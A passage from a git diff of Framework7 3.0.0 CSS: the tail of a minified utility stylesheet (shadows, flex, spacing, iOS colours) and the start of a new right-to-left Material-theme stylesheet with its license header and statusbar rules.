5px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-3:hover{-webkit-box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-4:hover{-webkit-box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-5:hover{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-6:hover{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-7:hover{-webkit-box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important;box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-8:hover{-webkit-box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-9:hover{-webkit-box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-10:hover{-webkit-box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-11:hover{-webkit-box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-12:hover{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-13:hover{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-14:hover{-webkit-box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-15:hover{-webkit-box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-16:hover{-webkit-box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-17:hover{-webkit-box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-18:hover{-webkit-box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-19:hover{-webkit-box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-20:hover{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-21:hover{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-22:hover{-webkit-box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-23:hover{-webkit-box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-24:hover{-webkit-box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-0,.device-desktop .active-state.elevation-pressed-0{-webkit-box-shadow:0 0 0 0 transparent!important;box-shadow:0 0 0 0 transparent!important}.active-state.elevation-pressed-1,.device-desktop .active-state.elevation-pressed-1{-webkit-box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-2,.device-desktop .active-state.elevation-pressed-2{-webkit-box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-3,.device-desktop .active-state.elevation-pressed-3{-webkit-box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-4,.device-desktop .active-state.elevation-pressed-4{-webkit-box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-5,.device-desktop .active-state.elevation-pressed-5{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-6,.device-desktop .active-state.elevation-pressed-6{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-7,.device-desktop .active-state.elevation-pressed-7{-webkit-box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important;box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-8,.device-desktop .active-state.elevation-pressed-8{-webkit-box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-9,.device-desktop .active-state.elevation-pressed-9{-webkit-box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-10,.device-desktop .active-state.elevation-pressed-10{-webkit-box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-11,.device-desktop .active-state.elevation-pressed-11{-webkit-box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-12,.device-desktop .active-state.elevation-pressed-12{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-13,.device-desktop .active-state.elevation-pressed-13{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-14,.device-desktop .active-state.elevation-pressed-14{-webkit-box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-15,.device-desktop .active-state.elevation-pressed-15{-webkit-box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-16,.device-desktop .active-state.elevation-pressed-16{-webkit-box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-17,.device-desktop .active-state.elevation-pressed-17{-webkit-box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-18,.device-desktop .active-state.elevation-pressed-18{-webkit-box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-19,.device-desktop .active-state.elevation-pressed-19{-webkit-box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-20,.device-desktop .active-state.elevation-pressed-20{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-21,.device-desktop .active-state.elevation-pressed-21{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-22,.device-desktop .active-state.elevation-pressed-22{-webkit-box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-23,.device-desktop .active-state.elevation-pressed-23{-webkit-box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-24,.device-desktop .active-state.elevation-pressed-24{-webkit-box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important}.elevation-transition-100{-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.elevation-transition,.elevation-transition-200{-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.elevation-transition-300{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.elevation-transition-400{-webkit-transition-duration:.4s;transition-duration:.4s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.elevation-transition-500{-webkit-transition-duration:.5s;transition-duration:.5s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.display-flex{display:-webkit-box!important;display:-webkit-flex!important;display:-ms-flexbox!important;display:flex!important}.display-block{display:block!important}.display-inline-flex{display:-webkit-inline-box!important;display:-webkit-inline-flex!important;display:-ms-inline-flexbox!important;display:inline-flex!important}.display-inline-block{display:inline-block!important}.display-inline{display:inline!important}.display-none{display:none!important}.flex-shrink-0{-webkit-flex-shrink:0!important;-ms-flex-negative:0!important;flex-shrink:0!important}.flex-shrink-1{-webkit-flex-shrink:1!important;-ms-flex-negative:1!important;flex-shrink:1!important}.flex-shrink-2{-webkit-flex-shrink:2!important;-ms-flex-negative:2!important;flex-shrink:2!important}.flex-shrink-3{-webkit-flex-shrink:3!important;-ms-flex-negative:3!important;flex-shrink:3!important}.flex-shrink-4{-webkit-flex-shrink:4!important;-ms-flex-negative:4!important;flex-shrink:4!important}.flex-shrink-5{-webkit-flex-shrink:5!important;-ms-flex-negative:5!important;flex-shrink:5!important}.flex-shrink-6{-webkit-flex-shrink:6!important;-ms-flex-negative:6!important;flex-shrink:6!important}.flex-shrink-7{-webkit-flex-shrink:7!important;-ms-flex-negative:7!important;flex-shrink:7!important}.flex-shrink-8{-webkit-flex-shrink:8!important;-ms-flex-negative:8!important;flex-shrink:8!important}.flex-shrink-9{-webkit-flex-shrink:9!important;-ms-flex-negative:9!important;flex-shrink:9!important}.flex-shrink-10{-webkit-flex-shrink:10!important;-ms-flex-negative:10!important;flex-shrink:10!important}.justify-content-flex-start{-webkit-box-pack:start!important;-webkit-justify-content:flex-start!important;-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-center{-webkit-box-pack:center!important;-webkit-justify-content:center!important;-ms-flex-pack:center!important;justify-content:center!important}.justify-content-flex-end{-webkit-box-pack:end!important;-webkit-justify-content:flex-end!important;-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-space-between{-webkit-box-pack:justify!important;-webkit-justify-content:space-between!important;-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-space-around{-webkit-justify-content:space-around!important;-ms-flex-pack:distribute!important;justify-content:space-around!important}.justify-content-space-evenly{-webkit-box-pack:space-evenly!important;-webkit-justify-content:space-evenly!important;-ms-flex-pack:space-evenly!important;justify-content:space-evenly!important}.justify-content-stretch{-webkit-box-pack:stretch!important;-webkit-justify-content:stretch!important;-ms-flex-pack:stretch!important;justify-content:stretch!important}.justify-content-start{-webkit-box-pack:start!important;-webkit-justify-content:start!important;-ms-flex-pack:start!important;justify-content:start!important}.justify-content-end{-webkit-box-pack:end!important;-webkit-justify-content:end!important;-ms-flex-pack:end!important;justify-content:end!important}.justify-content-left{-webkit-box-pack:left!important;-webkit-justify-content:left!important;-ms-flex-pack:left!important;justify-content:left!important}.justify-content-right{-webkit-box-pack:right!important;-webkit-justify-content:right!important;-ms-flex-pack:right!important;justify-content:right!important}.align-content-flex-start{-webkit-align-content:flex-start!important;-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-flex-end{-webkit-align-content:flex-end!important;-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-center{-webkit-align-content:center!important;-ms-flex-line-pack:center!important;align-content:center!important}.align-content-space-between{-webkit-align-content:space-between!important;-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-space-around{-webkit-align-content:space-around!important;-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-stretch{-webkit-align-content:stretch!important;-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-items-flex-start{-webkit-box-align:start!important;-webkit-align-items:flex-start!important;-ms-flex-align:start!important;align-items:flex-start!important}.align-items-flex-end{-webkit-box-align:end!important;-webkit-align-items:flex-end!important;-ms-flex-align:end!important;align-items:flex-end!important}.align-items-center{-webkit-box-align:center!important;-webkit-align-items:center!important;-ms-flex-align:center!important;align-items:center!important}.align-items-stretch{-webkit-box-align:stretch!important;-webkit-align-items:stretch!important;-ms-flex-align:stretch!important;align-items:stretch!important}.align-self-flex-start{-webkit-align-self:flex-start!important;-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-flex-end{-webkit-align-self:flex-end!important;-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-center{-webkit-align-self:center!important;-ms-flex-item-align:center!important;align-self:center!important}.align-self-stretch{-webkit-align-self:stretch!important;-ms-flex-item-align:stretch!important;align-self:stretch!important}.text-align-left{text-align:left!important}.text-align-center{text-align:center!important}.text-align-right{text-align:right!important}.text-align-justify{text-align:justify!important}.float-left{float:left!important}.float-right{float:right!important}.float-none{float:none!important}.vertical-align-bottom{vertical-align:bottom!important}.vertical-align-middle{vertical-align:middle!important}.vertical-align-top{vertical-align:top!important}.no-padding{padding:0!important}.no-padding-left{padding-left:0!important}.no-padding-right{padding-right:0!important}.no-padding-top{padding-top:0!important}.no-padding-bottom{padding-bottom:0!important}.no-margin{margin:0!important}.no-margin-left{margin-left:0!important}.no-margin-right{margin-right:0!important}.no-margin-top{margin-top:0!important}.no-margin-bottom{margin-bottom:0!important}.width-auto{width:auto!important}.width-100{width:100%!important}.ios .padding{padding:15px!important}.ios .padding-top{padding-top:15px!important}.ios .padding-bottom{padding-bottom:15px!important}.ios .padding-left{padding-left:15px!important}.ios .padding-left-ios-edge{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.ios .padding-right-ios-edge{padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right)}.ios .padding-top-ios-edge{padding-top:constant(safe-area-inset-top);padding-top:env(safe-area-inset-top)}.ios .padding-bottom-ios-edge{padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.ios .padding-right{padding-right:15px!important}.ios .padding-vertical{padding-top:15px!important;padding-bottom:15px!important}.ios .padding-horizontal{padding-left:15px!important;padding-right:15px!important}.ios .margin{margin:15px!important}.ios .margin-top{margin-top:15px!important}.ios .margin-bottom{margin-bottom:15px!important}.ios .margin-left{margin-left:15px!important}.ios .margin-right{margin-right:15px!important}.ios .margin-vertical{margin-top:15px!important;margin-bottom:15px!important}.ios .margin-horizontal{margin-left:15px!important;margin-right:15px!important}.ios .text-color-red{color:#ff3b30!important}.ios .bg-color-red{background-color:#ff3b30!important}.ios .border-color-red{border-color:#ff3b30!important}.ios .text-color-green{color:#4cd964!important}.ios .bg-color-green{background-color:#4cd964!important}.ios .border-color-green{border-color:#4cd964!important}.ios .text-color-blue{color:#007aff!important}.ios .bg-color-blue{background-color:#007aff!important}.ios .border-color-blue{border-color:#007aff!important}.ios .text-color-pink{color:#ff2d55!important}.ios .bg-color-pink{background-color:#ff2d55!important}.ios .border-color-pink{border-color:#ff2d55!important}.ios .text-color-yellow{color:#fc0!important}.ios .bg-color-yellow{background-color:#fc0!important}.ios .border-color-yellow{border-color:#fc0!important}.ios .text-color-orange{color:#ff9500!important}.ios .bg-color-orange{background-color:#ff9500!important}.ios .border-color-orange{border-color:#ff9500!important}.ios .text-color-gray{color:#8e8e93!important}.ios .bg-color-gray{background-color:#8e8e93!important}.ios .border-color-gray{border-color:#8e8e93!important}.ios .text-color-white{color:#fff!important}.ios .bg-color-white{background-color:#fff!important}.ios .border-color-white{border-color:#fff!important}.ios .text-color-black{color:#000!important}.ios .bg-color-black{background-color:#000!important}.ios .border-color-black{border-color:#000!important} \ No newline at end of file diff --git a/framework7/css/framework7.rtl.md.css b/framework7/css/framework7.rtl.md.css new file mode 100644 index 0000000..0909db9 --- /dev/null +++ b/framework7/css/framework7.rtl.md.css @@ -0,0 +1,18916 @@ +/** + * Framework7 3.0.0 + * Full featured mobile HTML framework for building iOS & Android apps + * http://framework7.io/ + * + * Copyright 2014-2018 Vladimir Kharlampidi + * + * Released under the MIT License + * + * Released on: July 5, 2018 + */ +html { + direction: rtl; +} +html, +body, +.framework7-root { + position: relative; + height: 100%; + width: 100%; + overflow-x: hidden; +} +body { + margin: 0; + padding: 0; + font-size: 14px; + width: 100%; + background: #fff; + overflow: hidden; + -webkit-text-size-adjust: 100%; + -webkit-font-smoothing: antialiased; +} +.framework7-root { + overflow: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.framework7-initializing *, +.framework7-initializing *:before, +.framework7-initializing *:after { + -webkit-transition-duration: 0ms !important; + transition-duration: 0ms !important; +} +/* +a, button, input, textarea, .link, .button, label, .sortable-handler { + touch-action: manipulation; + -ms-touch-action: manipulation; +} +*/ +@media (width: 1024px) and (height: 691px) and (orientation: landscape) { + html, + body, + .framework7-root { + height: 671px; + } +} +@media (width: 1024px) and (height: 692px) and (orientation: landscape) { + html, + body, + .framework7-root { + height: 672px; + } +} +* { + -webkit-tap-highlight-color: rgba(0, 0, 0, 0); + -webkit-touch-callout: none; +} +a, +input, +textarea, +select { + outline: 0; +} +a { + cursor: pointer; + text-decoration: none; +} +p { + margin: 1em 0; +} +.disabled { + opacity: 0.55 !important; + pointer-events: none !important; +} +.md body { + font-family: Roboto, Noto, Helvetica, Arial, sans-serif; + color: #212121; + line-height: 1.5; +} +.md .ios-only, +.md .if-ios { + display: none !important; +} +.md a { + color: #2196f3; +} +.md .theme-dark { + color: rgba(255, 255, 255, 0.87); +} +.md .color-theme-red a { + color: #f44336; +} +.md .color-theme-green a { + color: #4caf50; +} +.md .color-theme-blue a { + color: #2196f3; +} +.md .color-theme-pink a { + color: #e91e63; +} +.md .color-theme-yellow a { + color: #ffeb3b; +} +.md .color-theme-orange a { + color: #ff9800; +} +.md .color-theme-gray a { + color: #9e9e9e; +} +.md .color-theme-white a { + color: #ffffff; +} +.md .color-theme-black a { + color: #000000; +} +.md a.color-red { + color: #f44336; +} +.md a.color-green { + color: #4caf50; +} +.md a.color-blue { + color: #2196f3; +} +.md a.color-pink { + color: #e91e63; +} +.md a.color-yellow { + color: #ffeb3b; +} +.md a.color-orange { + color: #ff9800; +} +.md a.color-gray { + color: #9e9e9e; +} +.md a.color-white { + color: #ffffff; +} +.md a.color-black { + color: #000000; +} +/* === Statusbar === */ +.statusbar { + position: absolute; + left: 0; + top: 0; + width: 100%; + z-index: 10000; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: none; +} +html.device-ios .statusbar, +html.ios:not(.device-ios):not(.device-android) .statusbar { + height: 20px; +} +html.device-android .statusbar, +html.md:not(.device-ios):not(.device-android) .statusbar { + height: 24px; +} +html.device-ios.device-iphone-x .statusbar { + height: constant(safe-area-inset-top); + height: env(safe-area-inset-top); +} +html.with-statusbar .statusbar { + display: block; +} +html.with-statusbar.device-ios .framework7-root, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root { + padding-top: 20px; +} +html.with-statusbar.device-android .framework7-root, +html.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root { + padding-top: 24px; +} +html.with-statusbar.device-iphone-x .framework7-root { + padding-top: constant(safe-area-inset-top); + padding-top: env(safe-area-inset-top); +} +.md .statusbar { + background: #0a6ebd; +} +.md .color-theme-red .statusbar { + background: #d2190b; +} +.md .color-theme-green .statusbar { + background: #357a38; +} +.md .color-theme-blue .statusbar { + background: #0a6ebd; +} +.md .color-theme-pink .statusbar { + background: #aa1145; +} +.md .color-theme-yellow .statusbar { + background: 